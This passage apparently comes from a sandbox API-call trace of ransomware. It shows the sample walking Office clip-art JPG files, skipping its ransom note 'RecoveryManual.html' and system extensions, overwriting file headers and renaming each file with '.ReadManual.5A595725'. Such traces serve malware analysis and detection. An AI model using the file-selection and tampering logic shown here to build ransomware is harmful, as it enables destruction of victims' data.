lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.737] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ec6) returned 0x2f0000 [0269.737] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.738] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39040639770) returned 1 [0269.738] CloseHandle (hObject=0x184) returned 1 [0269.738] SetSecurityInfo () returned 0x57 [0269.738] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.738] CloseHandle (hObject=0x194) returned 1 [0269.738] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341742.JPG", cAlternateFileName="")) returned 1 [0269.738] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341742.JPG" | out: lpString1="J0341742.JPG") returned="J0341742.JPG" [0269.738] lstrcmpiW (lpString1="J0341742.JPG", lpString2="RecoveryManual.html") returned -1 [0269.738] StrStrIW (lpFirst="J0341742.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.738] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.738] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.738] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.738] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.738] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.738] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.738] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.738] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.738] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.738] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.738] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.738] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.738] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.738] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.738] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" [0269.738] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.ReadManual.5A595725" [0269.739] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.ReadManual.5A595725") returned 87 [0269.739] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39040733188) returned 1 [0269.739] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg")) returned 0x20 [0269.740] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.740] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18874) returned 1 [0269.740] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49ba, lpName=0x0) returned 0x184 [0269.740] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.741] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.741] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.743] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.743] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x49ba) returned 0x2f0000 [0269.743] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.743] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39041223749) returned 1 [0269.744] CloseHandle (hObject=0x184) returned 1 [0269.744] SetSecurityInfo () returned 0x57 [0269.744] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.744] CloseHandle (hObject=0x194) returned 1 [0269.744] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1 [0269.744] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382836.JPG" | out: lpString1="J0382836.JPG") returned="J0382836.JPG" [0269.744] lstrcmpiW (lpString1="J0382836.JPG", lpString2="RecoveryManual.html") returned -1 [0269.744] StrStrIW (lpFirst="J0382836.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.744] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.744] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.744] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.744] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.744] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.744] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.744] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.744] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.744] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.744] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.744] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.744] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.744] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.744] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.744] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" [0269.744] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.ReadManual.5A595725" [0269.744] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.ReadManual.5A595725") returned 87 [0269.744] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39041321330) returned 1 [0269.744] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg")) returned 0x20 [0269.745] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.745] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=68572) returned 1 [0269.745] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10bdc, lpName=0x0) returned 0x184 [0269.745] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.746] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.748] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.752] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.752] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10bdc) returned 0x1de0000 [0269.754] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.754] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39042304147) returned 1 [0269.754] CloseHandle (hObject=0x184) returned 1 [0269.754] SetSecurityInfo () returned 0x57 [0269.754] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.755] CloseHandle (hObject=0x194) returned 1 [0269.755] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382925.JPG", cAlternateFileName="")) returned 1 [0269.755] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382925.JPG" | out: lpString1="J0382925.JPG") returned="J0382925.JPG" [0269.755] lstrcmpiW (lpString1="J0382925.JPG", lpString2="RecoveryManual.html") returned -1 [0269.755] StrStrIW (lpFirst="J0382925.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.755] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.755] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.755] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.755] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.755] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.755] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.755] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.755] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.755] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.755] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.755] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.755] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.755] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.755] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.755] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" [0269.755] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.ReadManual.5A595725" [0269.755] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.ReadManual.5A595725") returned 87 [0269.755] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39042395405) returned 1 [0269.755] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg")) returned 0x20 [0269.755] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.756] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=118362) returned 1 [0269.756] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ce5a, lpName=0x0) returned 0x184 [0269.756] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.757] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.757] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.759] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.759] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ce5a) returned 0x1de0000 [0269.778] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.779] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39044755145) returned 1 [0269.779] CloseHandle (hObject=0x184) returned 1 [0269.779] SetSecurityInfo () returned 0x57 [0269.779] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.779] CloseHandle (hObject=0x194) returned 1 [0269.779] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1672c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382926.JPG", cAlternateFileName="")) returned 1 [0269.779] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382926.JPG" | out: lpString1="J0382926.JPG") returned="J0382926.JPG" [0269.779] lstrcmpiW (lpString1="J0382926.JPG", lpString2="RecoveryManual.html") returned -1 [0269.779] StrStrIW (lpFirst="J0382926.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.779] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.779] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.779] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.779] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.779] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.779] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.779] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.779] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.779] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.779] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.779] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.780] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.780] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.780] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.780] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" [0269.780] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.ReadManual.5A595725" [0269.780] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.ReadManual.5A595725") returned 87 [0269.780] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39044845977) returned 1 [0269.780] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg")) returned 0x20 [0269.780] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.780] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=91948) returned 1 [0269.780] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1672c, lpName=0x0) returned 0x184 [0269.780] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.781] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.781] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.939] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.939] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1672c) returned 0x1de0000 [0269.943] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.943] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39061188515) returned 1 [0269.943] CloseHandle (hObject=0x184) returned 1 [0269.943] SetSecurityInfo () returned 0x57 [0269.943] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.943] CloseHandle (hObject=0x194) returned 1 [0269.943] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382927.JPG", cAlternateFileName="")) returned 1 [0269.944] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382927.JPG" | out: lpString1="J0382927.JPG") returned="J0382927.JPG" [0269.944] lstrcmpiW (lpString1="J0382927.JPG", lpString2="RecoveryManual.html") returned -1 [0269.944] StrStrIW (lpFirst="J0382927.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.944] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.944] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.944] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.944] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.944] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.944] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.944] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.944] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.944] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.944] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.944] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.944] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.944] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.944] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.944] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" [0269.944] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.ReadManual.5A595725" [0269.944] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.ReadManual.5A595725") returned 87 [0269.944] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39061423404) returned 1 [0269.946] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg")) returned 0x20 [0269.946] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.947] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=129132) returned 1 [0269.947] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f86c, lpName=0x0) returned 0x184 [0269.947] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.948] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.948] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.951] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.951] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f86c) returned 0x1de0000 [0269.954] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.955] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39062373314) returned 1 [0269.955] CloseHandle (hObject=0x184) returned 1 [0269.955] SetSecurityInfo () returned 0x57 [0269.955] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.955] CloseHandle (hObject=0x194) returned 1 [0269.955] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b83a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382930.JPG", cAlternateFileName="")) returned 1 [0269.955] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382930.JPG" | out: lpString1="J0382930.JPG") returned="J0382930.JPG" [0269.955] lstrcmpiW (lpString1="J0382930.JPG", lpString2="RecoveryManual.html") returned -1 [0269.955] StrStrIW (lpFirst="J0382930.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.955] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.955] StrCmpIW (psz1="JPG", psz2="dll") returned 